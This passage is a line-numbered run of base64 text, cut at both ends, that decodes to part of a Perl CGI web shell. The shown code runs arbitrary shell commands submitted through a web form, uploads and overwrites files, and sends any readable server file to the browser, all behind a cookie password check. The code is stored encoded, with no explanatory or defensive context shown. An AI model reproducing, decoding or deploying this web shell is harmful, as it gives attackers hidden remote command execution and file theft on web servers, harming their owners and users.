4752LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZp
4753
4754bGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDog
4755
4756IlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxj
4757
4758b2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlv
4759
4760biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
4761
4762PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQg
4763
4764ZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBz
4765
4766aXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i
4767
4768QmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
4769
4770LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4771
4772LS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2Fk
4773
4774IGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4775
4776LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0K
4777
4778ew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVy
4779
4780TmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5h
4781
4782bWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9u
4783
4784PSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxp
4785
4786bnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZu
4787
4788YnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpP
4789
4790dmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8
4791
4792aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIg
4793
4794bmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
4795
4796ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0t
4797
4798LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4799
4800LS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91
4801
4802dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3Jp
4803
4804cHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBp
4805
4806cw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0t
4807
4808LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4809
4810LS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0K
4811
4812CXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFu
4813
4814ZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25k
4815
4816KHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsN
4817
4818CgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0t
4819
4820LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4821
4822LS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQg
4823
4824ZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2Vy
4825
4826IHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFu
4827
4828ZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5
4829
4830IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRp
4831
4832bWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hh
4833
4834bmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRo
4835
4836ZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0t
4837
4838LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4839
4840LS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9e
4841
4842XHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBj
4843
4844aGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNv
4845
4846bW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJ
4847
4848JENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4k
4849
4850Q21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VI
4851
4852ZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxA
4853
4854JFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7
4855
4856DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsN
4857
4858CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
4859
4860RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQg
4861
4862IiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnRE
4863
4864aXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJ
4865
4866ew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5k
4867
4868VGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBv
4869
4870dXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAi
4871
4872IHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFu
4873
4874ZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRf
4875
4876XG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29t
4877
4878bWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdp
4879
4880bk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlBy
4881
4882aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0t
4883
4884LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4885
4886LS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQg
4887
4888Y29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUg
4889
4890c3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMg
4891
4892ZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1l
4893
4894bnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2Fk
4895
4896ZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4897
4898LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsN
4899
4900Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBl
4901
4902eGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8g
4903
4904dGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJI
4905
4906KiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2Fk
4907
4908JmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlW
4909
4910PVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmlu
4911
4912dFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxl
4913
4914ICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0
4915
4916b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5E
4917
4918DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0N
4919
4920CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7
4921
4922DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50Rmls
4923
4924ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0t
4925
4926LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4927
4928LS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJv
4929
4930bSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2Fu
4931
4932IGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmll
4933
4934ZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t
4935
4936LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4937
4938LQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlm
4939
4940KG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7
4941
4942DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNU
4943
4944RE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmls
4945
4946ZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQt
4947
4948VHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6
4949
4950ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7
4951
4952IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShT
4953
4954RU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQ
4955
4956YWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAk
4957
4958ISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9
4959
4960DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4961
4962LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxl
4963
4964ZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0K
4965
4966IyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUg
4967
4968Y2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0
4969
4970aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlz
4971
4972IHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4973
4974LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
4975
4976dWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBm
4977
4978aWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
4979
4980XFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBw
4981
4982YXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0K
4983
4984CWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFy
4985
4986Z2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAk
4987
4988UGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
4989
4990aGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZp
4991
4992bGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsN
4993
4994CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0t
4995
4996LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4997
4998LS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIg
4999
5000d2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwg
5001
5002aXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxl
5003
5004LCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0t
5005
5006LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
5007
5008LS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwg
5009
5010cHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7
5011
5012DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQ
5013
5014cmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0K
5015
5016DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFu
5017
5018c2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVh
5019
5020bGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXRO
5021
5022YW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJh
5023
5024bnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQx
5025
5026Ow0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0
5027
5028aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJ
5029
5030aWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmlu
5031
5032dCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgll
5033
5034bHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRU
5035
5036YXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJ
5037
5038cHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsN
5039
5040CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXBy
5041
5042aW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlw
5043
5044cmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1h
5045
5046bmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0t
5047
5048LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
5049
5050LS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRz
5051
5052IHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQs
5053
5054IGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmls
5055
5056ZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlk
5057
5058ZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0K
5059
5060Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
5061
5062LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmls
5063
5064ZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5z
5065
5066ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls
5067
5068ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkj
5069
5070IGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJ
5071
5072aWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5U
5073
5074ICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJ
5075
5076JFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2
5077
5078ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikg
5079
5080PX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsN
5081
5082Cgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0K
5083
5084CXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhh
5085
5086dmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1Bh
5087
5088Z2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
5089
5090LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWlu
5091
5092IFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
5093
5094LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
5095
5096CiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NS
5097
5098SVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBh
5099
5100c3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmls
5101
5102ZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9
5103
5104Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNp
5105
5106ZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29t
5107
5108bWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1
5109
5110cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZElu
5111
5112ID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJs
5113
5114b2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJm
5115
5116b3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMg
5117
5118dG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24g
5119
5120ZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZp
5121
5122bGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3du
5123
5124bG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9n
5125
